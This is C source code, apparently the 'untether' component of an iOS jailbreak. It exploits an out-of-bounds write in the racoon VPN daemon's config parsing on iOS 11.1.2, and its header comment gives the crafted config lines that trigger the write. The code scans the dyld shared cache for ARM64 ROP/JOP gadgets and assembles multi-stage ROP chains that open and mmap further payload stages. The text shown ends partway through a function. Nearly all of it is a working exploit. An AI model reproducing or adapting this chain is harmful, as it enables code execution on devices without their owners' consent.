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untether.c
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untether.c
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/* racoon iPhone7 11.1.2
struct localconf *lcconf; // "failed to allocate local conf."
__common:00000001000670E0 lcconf % 8
... setdefault()
retry_counter: lcconf->0x10c
retry_interval: lcconf->0x110
struct isakmp_cfg_config isakmp_cfg_config; // "No more than %d DNS"
__common:0000000100067C18 dns4 % 0xC
__common:0000000100067C24 dns4_index % 4
__common:0000000100067C28 wins4 % 0x10
__common:0000000100067C38 nbns4_index % 4
mode_cfg {
wins4 1.2.3.4; # nbns4[0]
wins4 1.2.3.4; # nbns4[1]
wins4 1.2.3.4; # nbns4[2]
wins4 1.2.3.4; # nbns4[3]
wins4 255.255.255.255; # nbns4[4] {wins4_index} = -1
wins4 50.253.255.255; # nbns4[-1] {dns4_index} = (0x1000670E0 - 0x100067C18) / 4 = -718, {wins4_index} = 0
dns4 65.66.67.68; # dns[0] {lcconf.lo} = 0x45464748
dns4 69.70.71.72; # dns[0] {lcconf.hi} = 0x41424344
}
timer {
counter 1094795585; # lcconf->retry_counter {0x4142434445464748 + 0x10c} = 0x41414141
interval 1094795585 sec; # lcconf->retry_interval {0x4142434445464748 + 0x110} = 0x41414141
#persend 1094795585; # lcconf->count_persend {0x4142434445464748 + 0x114} = 0x41414141
#phase1 1094795585 sec; # lcconf->retry_checkph1 {0x4142434445464748 + 0x118} = 0x41414141
#phase2 1094795585 sec; # lcconf->wait_ph2complete {0x4142434445464748 + 0x11c} = 0x41414141
#natt_keepalive 1094795585 sec; # lcconf->natt_ka_interval {0x4142434445464748 + 0x120} = 0x41414141
}
mode_cfg {
banner "aaaaaaaa"; # trigger strlcpy -> _platform_memmove by lazy binding (or 'default_domain')
}
*/
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <mach-o/loader.h>
#include "config.h"
#include "config.bin"
#include "ac.c"
#include "patchfinder64.c"
//#define BREAKPOINT_0
//#define BREAKPOINT_1
//#define FORCE_ALT_PIVOT 1
//#define FORCE_BAD_CHAIN 1
#define SHARED_REGION_BASE_ARM64 0x180000000
#define SHARED_REGION_SIZE_ARM64 0x40000000
struct dyld_cache_header {
char magic[16]; /* e.g. "dyld_v0 ppc" */
uint32_t mappingOffset; /* file offset to first dyld_cache_mapping_info */
uint32_t mappingCount; /* number of dyld_cache_mapping_info entries */
uint32_t imagesOffset; /* file offset to first dyld_cache_image_info */
uint32_t imagesCount; /* number of dyld_cache_image_info entries */
uint64_t dyldBaseAddress; /* base address of dyld when cache was built */
uint64_t codeSignatureOffset; /* file offset in of code signature blob */
uint64_t codeSignatureSize; /* size of code signature blob (zero means to end of file) */
};
struct dyld_cache_mapping_info {
uint64_t address;
uint64_t size;
uint64_t fileOffset;
uint32_t maxProt;
uint32_t initProt;
};
struct dyld_cache_image_info {
uint64_t address;
uint64_t modTime;
uint64_t inode;
uint32_t pathFileOffset;
uint32_t pad;
};
static uint64_t
read_uleb128(const uint8_t **q, const uint8_t *end)
{
const uint8_t *p = *q;
uint64_t result = 0;
int bit = 0;
do {
uint64_t slice;
if (p == end) {
errx(1, "malformed uleb128 extends beyond trie");
}
slice = *p & 0x7f;
if (bit >= 64 || slice << bit >> bit != slice) {
errx(1, "uleb128 too big for 64-bits");
} else {
result |= (slice << bit);
bit += 7;
}
} while (*p++ & 0x80);
*q = p;
return result;
}
static void
processExportNode(const uint8_t *const start, const uint8_t *p, const uint8_t* const end, char *cummulativeString, int curStrOffset, uint64_t *loc, const char *sym)
{
if (p >= end) {
errx(1, "malformed trie, node past end");
}
const uint8_t terminalSize = read_uleb128(&p, end);
const uint8_t *children = p + terminalSize;
if (terminalSize != 0) {
/*uintptr_t nodeOffset = p - start;*/
const char *name = strdup(cummulativeString);
uint64_t address;
uint64_t flags = read_uleb128(&p, end);
uint64_t other;
const char *importName;
if (flags & EXPORT_SYMBOL_FLAGS_REEXPORT) {
address = 0;
other = read_uleb128(&p, end);
importName = (char*)p;
//printf("[%s] -> [%s]%d\n", name, importName, other);
} else {
address = read_uleb128(&p, end);
if (!strcmp(sym, name)) {
*loc = address;
}
if (flags & EXPORT_SYMBOL_FLAGS_STUB_AND_RESOLVER) {
other = read_uleb128(&p, end);
} else {
other = 0;
}
importName = NULL;
}
/*printf("%llx: %s\n", address, name);*/
free((char *)name);
}
const uint8_t childrenCount = *children++;
const uint8_t *s = children;
uint8_t i;
for (i = 0; i < childrenCount; ++i) {
int edgeStrLen = 0;
while (*s != '\0') {
cummulativeString[curStrOffset + edgeStrLen] = *s++;
++edgeStrLen;
}
cummulativeString[curStrOffset + edgeStrLen] = *s++;
uint32_t childNodeOffset = read_uleb128(&s, end);
if (childNodeOffset == 0) {
errx(1, "malformed trie, childNodeOffset==0");
}
processExportNode(start, start + childNodeOffset, end, cummulativeString, curStrOffset + edgeStrLen, loc, sym);
}
}
static void
do_export(const unsigned char *p, off_t sz, uint32_t export_off, uint32_t export_size, uint64_t *loc, const char *sym)
{
const unsigned char *q = p + export_off;
const unsigned char *end = q + export_size;
char *cummulativeString;
if (q == end) {
return;
}
cummulativeString = malloc(end - q);
if (!cummulativeString) {
errx(1, "out of memory");
}
processExportNode(q, q, end, cummulativeString, 0, loc, sym);
free(cummulativeString);
}
static uint64_t
macho_sym(const uint8_t *p, uint64_t sz, const uint8_t *bp, const char *sym)
{
uint32_t i;
const struct mach_header *hdr = (struct mach_header *)p;
const uint8_t *q;
uint64_t base = 0;
uint64_t loc = 0;
assert(MACHO(p) && IS64(p));
q = (const uint8_t *)(hdr + 1) + 4;
for (i = 0; i < hdr->ncmds; i++) {
const struct load_command *cmd = (struct load_command *)q;
if (cmd->cmd == LC_SEGMENT_64) {
const struct segment_command_64 *seg = (struct segment_command_64 *)q;
if (!strcmp(seg->segname, "__TEXT")) {
base = seg->vmaddr;
break;
}
}
q = q + cmd->cmdsize;
}
q = (const uint8_t *)(hdr + 1) + 4;
for (i = 0; i < hdr->ncmds; i++) {
const struct load_command *cmd = (struct load_command *)q;
if (cmd->cmd == LC_DYLD_INFO_ONLY) {
const struct dyld_info_command *dic = (struct dyld_info_command *)q;
do_export(bp, sz, dic->export_off, dic->export_size, &loc, sym);
}
q = q + cmd->cmdsize;
}
if (!loc) {
return 0;
}
return base + loc;
}
static uint64_t
macho_stub(const uint8_t *p, uint64_t sz, const uint8_t *bp, const struct dyld_cache_mapping_info *map, uint64_t fun)
{
uint32_t i;
const struct mach_header *hdr = (struct mach_header *)p;
const uint8_t *q;
uint64_t loc = 0;
assert(MACHO(p) && IS64(p));
if (!fun) {
return 0;
}
q = (const uint8_t *)(hdr + 1) + 4;
for (i = 0; i < hdr->ncmds; i++) {
const struct load_command *cmd = (struct load_command *)q;
if (cmd->cmd == LC_SEGMENT_64) {
const struct segment_command_64 *seg = (struct segment_command_64 *)q;
if (!strcmp(seg->segname, "__DATA_CONST")) {
unsigned j;
const struct section_64 *sec = (struct section_64 *)(seg + 1);
for (j = 0; j < seg->nsects; j++) {
if (!strcmp(sec[j].sectname, "__la_symbol_ptr")) {
uint64_t *secptr = (uint64_t *)(bp + sec[j].addr - map[1].address + map[1].fileOffset);
size_t k, size = sec[j].size / sizeof(uint64_t);
for (k = 0; k < size; k++) {
// XXX smart relo pointer
if ((secptr[k] & 0x1FFFFFFFF) == fun) {
loc = sec[j].addr + k * 8;
break;
}
}
break;
}
}
}
}
q = q + cmd->cmdsize;
}
if (!loc) {
return 0;
}
q = (const uint8_t *)(hdr + 1) + 4;
for (i = 0; i < hdr->ncmds; i++) {
const struct load_command *cmd = (struct load_command *)q;
if (cmd->cmd == LC_SEGMENT_64) {
const struct segment_command_64 *seg = (struct segment_command_64 *)q;
if (!strcmp(seg->segname, "__TEXT")) {
unsigned j;
const struct section_64 *sec = (struct section_64 *)(seg + 1);
for (j = 0; j < seg->nsects; j++) {
if (!strcmp(sec[j].sectname, "__stubs")) {
size_t k, size = sec[j].size / sizeof(uint32_t);
uint64_t pos = sec[j].addr - map[0].address + map[0].fileOffset;
for (k = 0; k < size; k += 3) {
uint64_t start = pos + k * sizeof(uint32_t);
uint64_t end = start + 3 * sizeof(uint32_t);
addr_t x16 = calc64(bp, start, end, 16);
if (x16 && x16 + map[0].address == loc) {
return sec[j].addr + k * sizeof(uint32_t);
}
}
break;
}
}
}
}
q = q + cmd->cmdsize;
}
return 0;
}
#define countof(x) sizeof(x) / sizeof(*(x))
static struct gadget_t {
uint64_t addr;
uint8_t *bytes;
size_t length;
uint8_t *bytes2;
size_t length2;
} gadgets[] = {
/*
jop:
a9400028 ldp x8, x0, [x1]
d63f0100 blr x8
alt-jop:
a94002a8 ldp x8, x0, [x21]
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xa9400028, 0xd63f0100 }, 2 * 4,
(uint8_t *)&(uint32_t []){ 0xa94002a8, 0xd63f0100 }, 2 * 4 },
/*
pivot:
9100003f mov sp, x1
d61f0000 br x0
alt-pivot: XXX this is functionally different (see gadget_first)
9100003f mov sp, x1
910043ff add sp, sp, #0x10
XXX iOS 12 may have some junk here: d296648d movz x13, #0xb324
d63f0000 blr x0
*/
{ 0, (uint8_t *)&(uint32_t []){ 0x9100003f, 0xd61f0000 }, 2 * 4,
(uint8_t *)&(uint32_t []){ 0x9100003f, 0x910043ff, 0xd63f0000 }, 3 * 4 },
/*
first:
a9417bfd ldp x29, x30, [sp, #0x10]
a8c24ff4 ldp x20, x19, [sp], #0x20
d65f03c0 ret
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xa9417bfd, 0xa8c24ff4, 0xd65f03c0 }, 3 * 4, NULL, 0 },
/*
nop:
a8c17bfd ldp x29, x30, [sp], #0x10
d65f03c0 ret
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xa8c17bfd, 0xd65f03c0 }, 2 * 4, NULL, 0 },
/*
retx8:
f94007e8 ldr x8, [sp, #8]
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf94007e8, 0xd63f0100 }, 2 * 4, NULL, 0 },
/*
loadx0:
f94003e0 ldr x0, [sp]
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf94003e0, 0xd63f0100 }, 2 * 4, NULL, 0 },
/*
loadx1:
f94003e1 ldr x1, [sp]
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf94003e1, 0xd63f0100 }, 2 * 4, NULL, 0 },
/*
loadx2:
f94003e2 ldr x2, [sp]
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf94003e2, 0xd63f0100 }, 2 * 4, NULL, 0 },
/*
loadx3:
f94003e3 ldr x3, [sp]
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf94003e3, 0xd63f0100 }, 2 * 4, NULL, 0 },
/*
zerox5:
d2800005 movz x5, #0
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xd2800005, 0xd63f0100 }, 2 * 4, NULL, 0 },
/*
loadx6:
f94003e6 ldr x6, [sp]
d63f0100 blr x8
alt-loadx6:
a9400be6 ldp x6, x2, [sp]
aa1903e4 mov x4, x25
aa1a03e5 mov x5, x26
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf94003e6, 0xd63f0100 }, 2 * 4,
(uint8_t *)&(uint32_t []){ 0xa9400be6, 0xaa1903e4, 0xaa1a03e5, 0xd63f0100 }, 4 * 4 },
/*
adrx0_170:
9105c3e0 add x0, sp, #0x170
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0x9105c3e0, 0xd63f0100 }, 2 * 4, NULL, 0 },
/*
adrx0_230:
9108c3e0 add x0, sp, #0x230
d63f0100 blr x8
alt-adrx0_230
9108c3e0 add x0, sp, #0x230
910803e1 add x1, sp, #0x200
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0x9108c3e0, 0xd63f0100 }, 2 * 4,
(uint8_t *)&(uint32_t []){ 0x9108c3e0, 0x910803e1, 0xd63f0100 }, 3 * 4 },
/*
mov_x1_x0:
aa0003e1 mov x1, x0
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xaa0003e1, 0xd63f0100 }, 2 * 4, NULL, 0 },
/*
mov_x4_x0:
aa0003e4 mov x4, x0
aa1303e0 mov x0, x19
d63f0100 blr x8
alt-mov_x4_x0:
aa0003e4 mov x4, x0
aa1403e0 mov x0, x20
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xaa0003e4, 0xaa1303e0, 0xd63f0100 }, 3 * 4,
(uint8_t *)&(uint32_t []){ 0xaa0003e4, 0xaa1403e0, 0xd63f0100 }, 3 * 4 },
/*
call6:
a8c17bfd ldp x29, x30, [sp], #0x10
d61f00c0 br x6
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xa8c17bfd, 0xd61f00c0 }, 2 * 4, NULL, 0 },
/*
str_x0_x1:
f9000020 str x0, [x1]
a8c17bfd ldp x29, x30, [sp], #0x10
d65f03c0 ret
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf9000020, 0xa8c17bfd, 0xd65f03c0 }, 3 * 4, NULL, 0 },
/*
set_sp:
910003bf mov sp, x29
a8c17bfd ldp x29, x30, [sp], #0x10
d65f03c0 ret
*/
{ 0, (uint8_t *)&(uint32_t []){ 0x910003bf, 0xa8c17bfd, 0xd65f03c0 }, 3 * 4, NULL, 0 },
/*
neg_x0:
aa2003e0 mvn x0, x0
a8c17bfd ldp x29, x30, [sp], #0x10
d65f03c0 ret
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xaa2003e0, 0xa8c17bfd, 0xd65f03c0 }, 3 * 4, NULL, 0 },
#if 1 // these are used inside stage2 to gain initial code execution inside remote process
/*
pivot_from_10:
f9404940 ldr x0, [x10, #0x90]
f9400008 ldr x8, [x0]
f9406508 ldr x8, [x8, #0xc8]
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf9404940, 0xf9400008, 0xf9406508, 0xd63f0100 }, 4 * 4, NULL, 0 },
/*
jmp_4args:
a9420408 ldp x8, x1, [x0, #0x20]
a9430c02 ldp x2, x3, [x0, #0x30]
f9400904 ldr x4, [x8, #0x10]
aa0803e0 mov x0, x8
d61f0080 br x4
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xa9420408, 0xa9430c02, 0xf9400904, 0xaa0803e0, 0xd61f0080 }, 5 * 4, NULL, 0 },
/*
lea_x0_jmp_x8:
f9400108 ldr x8, [x8]
910023e0 add x0, sp, #8
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xf9400108, 0x910023e0, 0xd63f0100 }, 3 * 4, NULL, 0 },
#endif
#if 1 // these are used inside stage3 to map stage4
/*
adrx0_d0:
910343e0 add x0, sp, #0xd0
d63f0100 blr x8
*/
{ 0, (uint8_t *)&(uint32_t []){ 0x910343e0, 0xd63f0100 }, 2 * 4, NULL, 0 },
#endif
/*
jop2:
a9400422 ldp x2, x1, [x1]
d61f0040 br x2
*/
{ 0, (uint8_t *)&(uint32_t []){ 0xa9400422, 0xd61f0040 }, 2 * 4, NULL, 0 },
};
static AC_STRUCT *
ac_init(void)
{
int rv;
size_t i, na = countof(gadgets);
AC_STRUCT *node = ac_alloc();
if (!node) {
return NULL;
}
for (i = 0; i < na; i++) {
rv = ac_add_string(node, (char *)gadgets[i].bytes, gadgets[i].length, i + 1);
if (!rv) {
ac_free(node);
return NULL;
}
}
rv = ac_prep(node);
if (!rv) {
fprintf(stderr, "!ac_prep\n");
ac_free(node);
return NULL;
}
return node;
}
static int
search_gadgets(const uint8_t *p, size_t sz)
{
const uint8_t *q = p;
size_t i, j = 0, n = countof(gadgets);
if (n > 1) {
AC_STRUCT *ac = ac_init();
if (ac) {
ac_search_init(ac, (char *)p, sz);
while (n > 1) {
int id = 0;
int length = 0;
char *found = ac_search(ac, &length, &id);
if (!found) {
break;
}
if (!gadgets[id - 1].addr) {
printf("ac found gadget[%d] 0x%zx, size=%d\n", id - 1, found - (char *)p, length);
gadgets[id - 1].addr = found - (char *)p;
n--;
}
q = (uint8_t *)found;
}
ac_free(ac);
}
}
for (i = 0; i < countof(gadgets); i++) {
if (!gadgets[i].addr) {
uint8_t *found = boyermoore_horspool_memmem(q, p + sz - q, gadgets[i].bytes, gadgets[i].length);
if (!found) {
fprintf(stderr, "gadget %zu missing\n", i);
j++;
} else {
gadgets[i].addr = found - p;
printf("bm found gadget[%zu] 0x%llx, size=%zu\n", i, gadgets[i].addr, gadgets[i].length);
}
}
}
return j;
}
#define r(x) do { /*printf("*%p = %s\n", (void *)rstrip, #x);*/ *rstrip++ = (unsigned long)(x); } while (0)
#define retx8() \
do { \
r(0); \
r(gadget_retx8); \
r(0); \
r(gadget_nop); \
} while (0)
#define map2(addr, size, cache, addr2, size2, stage2, slide) \
do { \
retx8(); \
r(0); \
r(gadget_loadx6); \
r(symbol_open + slide); \
r(gadget_adrx0_230); \
strcpy((char *)rstrip + 0x230, cache); \
r(0); \
r(gadget_loadx1); \
r(0); \
r(gadget_call6); \
retx8(); \
r(0); \
r(gadget_loadx6); \
r(symbol_mmap + slide); \
r(gadget_mov_x4_x0); \
r(0); \
r(gadget_loadx0); \
r(addr); \
r(gadget_loadx1); \
r(size); \
r(gadget_loadx2); \
r(PROT_READ | PROT_EXEC); \
r(gadget_loadx3); \
r(MAP_FILE | MAP_SHARED | MAP_FIXED); \
r(gadget_zerox5); \
r(0); \
r(gadget_call6); \
\
retx8(); \
r(0); \
r(gadget_loadx6); \
r(symbol_open + slide); \
r(gadget_adrx0_170); \
strcpy((char *)rstrip + x170, stage2); \
r(0); \
r(gadget_loadx1); \
r(0); \
r(gadget_call6); \
retx8(); \
r(0); \
r(gadget_loadx6); \
r(symbol_mmap + slide); \
r(gadget_mov_x4_x0); \
r(0); \
r(gadget_loadx0); \
r(addr2); \
r(gadget_loadx1); \
r(size2); \
r(gadget_loadx2); \
r(PROT_READ | PROT_WRITE); \
r(gadget_loadx3); \
r(MAP_FILE | MAP_PRIVATE | MAP_FIXED); \
r(gadget_zerox5); \
r(0); \
r(gadget_call6); \
retx8(); \
r(0); \
r(gadget_mov_x1_x0); \
r(0); \
r(gadget_loadx0); \
if (alt_slide) { \
r(-slide); \
r(gadget_neg_x0); \
} else { \
r(slide); \
r(gadget_nop); \
} \
r(0); \
r(gadget_str_x0_x1); \
r(addr2); \
r(gadget_set_sp); \
} while (0)
static int
is_bad_addr(uint64_t gadget)
{
while (gadget) {
if ((gadget & 0xff) == '\"') {
return 1;
}
gadget >>= 8;
}
return 0;
}
static uint64_t
try_ok_addr(const uint8_t *p, uint64_t slide, const struct dyld_cache_mapping_info *map, const struct gadget_t *gadget, int *alt, int *bad)
{
uint64_t addr = gadget->addr;
*alt = 0;
while (is_bad_addr(addr + map->address + slide)) {
const uint8_t *q;
q = boyermoore_horspool_memmem(p + addr + 4, map->size - addr - 4, gadget->bytes, gadget->length);
if (!q) {
#if 666
if (gadget->bytes2 && gadget->length2) {
uint64_t addr2 = 0;
do {
q = boyermoore_horspool_memmem(p + addr2 + 4, map->size - addr2 - 4, gadget->bytes2, gadget->length2);
if (!q) {
addr2 = 0;
break;
}
addr2 = q - p;
} while (is_bad_addr(addr2 + map->address + slide));
if (addr2) {
*alt = 1;
addr = addr2;
break;
}
}
#endif
(*bad)++;
break;
}
addr = q - p;
}
return addr + map->address + slide;
}
static uint64_t
get_ok_addr(const uint8_t *p, uint64_t slide, const struct dyld_cache_mapping_info *map, const struct gadget_t *gadgets, unsigned i, int *bad)
{
int alt, worse = 0;
uint64_t addr = try_ok_addr(p, slide, map, &gadgets[i], &alt, &worse);
if (worse) {
fprintf(stderr, "WARNING: (slide = 0x%llx) bad address for gadget %d\n", slide, i);
(*bad) += worse;
}
return addr;
}
static unsigned char *
build_stage1(const uint8_t *p, uint64_t slide, const struct dyld_cache_mapping_info *map, uint64_t sym_open[], uint64_t sym_mmap[], size_t *psz, int *bad)
{
uint8_t *ptr;
unsigned char *rstart;
unsigned long *rstrip;
const size_t rsz = 4096;
size_t len = strlen(STAGE2_NAME) + 1;
const size_t x170 = 0x170;
int alt, worse = 0;
uint64_t gadget_pivot = try_ok_addr(p, slide, map, &gadgets[1], &alt, &worse);
uint64_t gadget_first = get_ok_addr(p, slide, map, gadgets, 2, bad);
uint64_t gadget_nop = get_ok_addr(p, slide, map, gadgets, 3, bad);
uint64_t gadget_retx8 = get_ok_addr(p, slide, map, gadgets, 4, bad);
uint64_t gadget_loadx0 = get_ok_addr(p, slide, map, gadgets, 5, bad);
uint64_t gadget_loadx1 = get_ok_addr(p, slide, map, gadgets, 6, bad);
uint64_t gadget_loadx2 = get_ok_addr(p, slide, map, gadgets, 7, bad);
uint64_t gadget_loadx3 = get_ok_addr(p, slide, map, gadgets, 8, bad);
uint64_t gadget_zerox5 = get_ok_addr(p, slide, map, gadgets, 9, bad);
uint64_t gadget_loadx6 = get_ok_addr(p, slide, map, gadgets, 10, bad);
uint64_t gadget_adrx0_170 = get_ok_addr(p, slide, map, gadgets, 11, bad);
uint64_t gadget_adrx0_230 = get_ok_addr(p, slide, map, gadgets, 12, bad);
uint64_t gadget_mov_x1_x0 = get_ok_addr(p, slide, map, gadgets, 13, bad);
uint64_t gadget_mov_x4_x0 = get_ok_addr(p, slide, map, gadgets, 14, bad);
uint64_t gadget_call6 = get_ok_addr(p, slide, map, gadgets, 15, bad);
uint64_t gadget_str_x0_x1 = get_ok_addr(p, slide, map, gadgets, 16, bad);
uint64_t gadget_set_sp = get_ok_addr(p, slide, map, gadgets, 17, bad);
uint64_t gadget_neg_x0;
int alt_slide;
uint64_t symbol_open;
uint64_t symbol_mmap;
unsigned i;
for (i = 0; sym_open[i] && is_bad_addr(sym_open[i] + slide); i++) {
continue;
}
if (sym_open[i]) {
symbol_open = sym_open[i];
} else {
(*bad)++;
fprintf(stderr, "WARNING: (slide = 0x%llx) bad address for _open\n", slide);
symbol_open = sym_open[0];
}
for (i = 0; sym_mmap[i] && is_bad_addr(sym_mmap[i] + slide); i++) {
continue;
}
if (sym_mmap[i]) {
symbol_mmap = sym_mmap[i];
} else {
(*bad)++;
fprintf(stderr, "WARNING: (slide = 0x%llx) bad address for _mmap\n", slide);
symbol_mmap = sym_mmap[0];
}
if (worse) {
fprintf(stderr, "WARNING: (slide = 0x%llx) bad address for gadget %d\n", slide, 1);
(*bad)++;
}
#ifdef FORCE_ALT_PIVOT
alt = 1;
#endif
if (alt) {
gadget_first = gadget_nop;
}
alt_slide = is_bad_addr(slide);
if (alt_slide) {
worse = 0;
gadget_neg_x0 = try_ok_addr(p, slide, map, &gadgets[18], &alt, &worse);
if (worse) {
(*bad)++;
alt_slide = 0;
fprintf(stderr, "WARNING: (slide = 0x%llx) bad slide value\n", slide);
}
}
assert(!alt_slide || !is_bad_addr(-slide));
rstrip = calloc(1, rsz);
assert(rstrip);
rstart = (unsigned char *)rstrip;
r(gadget_pivot);
r(gadget_first);
map2(FAKE_SHARED_CACHE_ADDR, map->size, SHARED_CACHE_NAME, STAGE2_STATIC_ADDRESS, STAGE2_MAX_SIZE, STAGE2_NAME, slide);
ptr = boyermoore_horspool_memmem(rstart, rsz, (uint8_t *)STAGE2_NAME, len);
assert(ptr);
*psz = ptr - rstart + len;
if (0) {
FILE *eff;
char tmp[256];
snprintf(tmp, sizeof(tmp), "stage1-0x%llx", slide);
eff = fopen(tmp, "wb");
fwrite(rstart, 1, *psz, eff);
fclose(eff);
}
return rstart;
}
#undef r
#define r(x) do { \
/*printf("*%p = %s\n", (void *)rstrip, #x);*/ \
if (!strncmp(#x, "symbol_", 7) || !strncmp(#x, "gadget_", 7)) { \
/*printf("\trel @0x%zx: 0x%zx\n", relptr - relocs, (unsigned char *)rstrip - rstart);*/ \
*relptr++ = (unsigned char *)rstrip - rstart; \
} \
*rstrip++ = (unsigned long)(x); \
} while (0)
#define map4(addr2, size2, stage4) \
do { \
retx8(); \
r(0); \
r(gadget_loadx6); \
r(symbol_open); \
r(gadget_adrx0_d0); \
strcpy((char *)rstrip + 0xd0, stage4); \
r(0); \
r(gadget_loadx1); \
r(0); \
r(gadget_call6); \
retx8(); \
r(0); \
r(gadget_loadx6); \
r(symbol_mmap); \
r(gadget_mov_x4_x0); \
r(0); \
r(gadget_loadx0); \
r(addr2); \
r(gadget_loadx1); \
r(size2); \
r(gadget_loadx2); \
r(PROT_READ | PROT_WRITE); \
r(gadget_loadx3); \
r(MAP_FILE | MAP_PRIVATE | MAP_FIXED); \
r(gadget_zerox5); \
r(0); \
r(gadget_call6); \
r(addr2); \
r(gadget_set_sp); \
} while (0)
static unsigned char *
build_stage3(uint64_t address, uint64_t symbol_open, uint64_t symbol_mmap, size_t *psz, size_t *usz)
{
uint8_t *ptr;
unsigned char *rstart;
unsigned long *rstrip;
unsigned long *relocs;
unsigned long *relptr;
const size_t rsz = 4096;
size_t i, len = strlen(STAGE4_NAME) + 1;
uint64_t gadget_nop = address + gadgets[3].addr;
uint64_t gadget_retx8 = address + gadgets[4].addr;
uint64_t gadget_loadx0 = address + gadgets[5].addr;
uint64_t gadget_loadx1 = address + gadgets[6].addr;
uint64_t gadget_loadx2 = address + gadgets[7].addr;
uint64_t gadget_loadx3 = address + gadgets[8].addr;
uint64_t gadget_zerox5 = address + gadgets[9].addr;
uint64_t gadget_loadx6 = address + gadgets[10].addr;
uint64_t gadget_mov_x4_x0 = address + gadgets[14].addr;
uint64_t gadget_call6 = address + gadgets[15].addr;
uint64_t gadget_set_sp = address + gadgets[17].addr;
uint64_t gadget_adrx0_d0 = address + gadgets[22].addr;
rstrip = calloc(1, rsz);
assert(rstrip);
rstart = (unsigned char *)rstrip;
relocs = calloc(1, rsz);
assert(relocs);
relptr = relocs;
map4(STAGE4_STATIC_ADDRESS, STAGE4_MAX_SIZE, STAGE4_NAME);
ptr = boyermoore_horspool_memmem(rstart, rsz, (uint8_t *)STAGE4_NAME, len);
assert(ptr);
*usz = (ptr - rstart + len + 7) & ~7;
rstrip = (unsigned long *)(rstart + *usz);
*rstrip++ = 0;
for (i = 0; relocs + i < relptr; i++) {
*rstrip++ = relocs[i];
}
free(relocs);
*psz = (unsigned char *)rstrip - rstart;
return rstart;
}
#undef r
#undef retx8
#undef map2
#define _i2(x) (unsigned)((x) & 0xFFFFFFFF), (unsigned)(((x) >> 32) & 0xFFFFFFFF)
#define _c4(x) (x) & 0xFF, ((x) >> 8) & 0xFF, ((x) >> 16) & 0xFF, ((x) >> 24) & 0xFF
#define _c8(x) (unsigned)((x) & 0xFF), (unsigned)(((x) >> 8) & 0xFF), (unsigned)(((x) >> 16) & 0xFF), (unsigned)(((x) >> 24) & 0xFF), (unsigned)(((x) >> 32) & 0xFF), (unsigned)(((x) >> 40) & 0xFF), (unsigned)(((x) >> 48) & 0xFF), (unsigned)(((x) >> 56) & 0xFF)
static int
really(const uint8_t *p, off_t sz, uint64_t masterSlide)
{
int rv;
FILE *f;
unsigned i;
size_t rsz, usz;
unsigned char *rstrip;
const struct dyld_cache_header *hdr = (struct dyld_cache_header *)p;
const struct dyld_cache_mapping_info *map = (struct dyld_cache_mapping_info *)(p + hdr->mappingOffset);
const struct dyld_cache_image_info *img = (struct dyld_cache_image_info *)(p + hdr->imagesOffset);
uint64_t memmove_lazy = 0;
uint64_t memmove_func = 0;
uint64_t sym_open[256];
uint64_t sym_mmap[256];
unsigned num_open = 0;
unsigned num_mmap = 0;
uint64_t map1_end = (map[1].address + map[1].size + 0x3FFF) & ~0x3FFF;
int64_t slide, loSlide, hiSlide;
uint64_t maxSlide;
int dirty = 0;
assert(hdr->mappingCount == 3 && map[0].address == SHARED_REGION_BASE_ARM64 && map[0].size < (uint64_t)sz);
memset(sym_open, 0, sizeof(sym_open));
memset(sym_mmap, 0, sizeof(sym_mmap));
for (i = 0; i < hdr->imagesCount; i++) {
uint64_t address = img[i].address;
const char *imgName = (const char *)p + img[i].pathFileOffset;
address = address - map[0].address + map[0].fileOffset;
if (!strcmp(imgName, "/usr/lib/system/libsystem_c.dylib")) {
addr_t call, stub;
uint64_t symbol = macho_sym(p + address, sz, p, "_strlcpy");
assert(symbol);
call = find_call64(p, symbol - map[0].address, 64);
assert(call);
call = find_call64(p, call + 4, 64);
assert(call);
stub = follow_call64(p, call);
assert(stub);
memmove_lazy = calc64(p, stub, stub + 12, 16);
}
if (!strcmp(imgName, "/usr/lib/system/libsystem_kernel.dylib")) {
sym_open[0] = macho_sym(p + address, sz, p, "_open");
if (sym_open[0]) {
num_open = 1;
}
sym_mmap[0] = macho_sym(p + address, sz, p, "_mmap");
if (sym_mmap[0]) {
num_mmap = 1;
}
}
if (!strcmp(imgName, "/usr/lib/system/libsystem_platform.dylib")) {
memmove_func = macho_sym(p + address, sz, p, "__platform_memmove");
}
}
assert(memmove_lazy && memmove_func && num_open && num_mmap);
for (i = 0; i < hdr->imagesCount; i++) {
uint64_t address = img[i].address;
address = address - map[0].address + map[0].fileOffset;
if (num_open < countof(sym_open) - 1) {
uint64_t stub = macho_stub(p + address, sz, p, map, sym_open[0]);
if (stub) {
sym_open[num_open++] = stub;
}
}
if (num_mmap < countof(sym_mmap) - 1) {
uint64_t stub = macho_stub(p + address, sz, p, map, sym_mmap[0]);
if (stub) {
sym_mmap[num_mmap++] = stub;
}
}
}
printf("__platform_memmove = 0x%llx\n", memmove_func);
printf("_open: 0x%llx (total %u)\n", sym_open[0], num_open);
printf("_mmap: 0x%llx (total %u)\n", sym_mmap[0], num_mmap);
memmove_lazy += map[0].address;
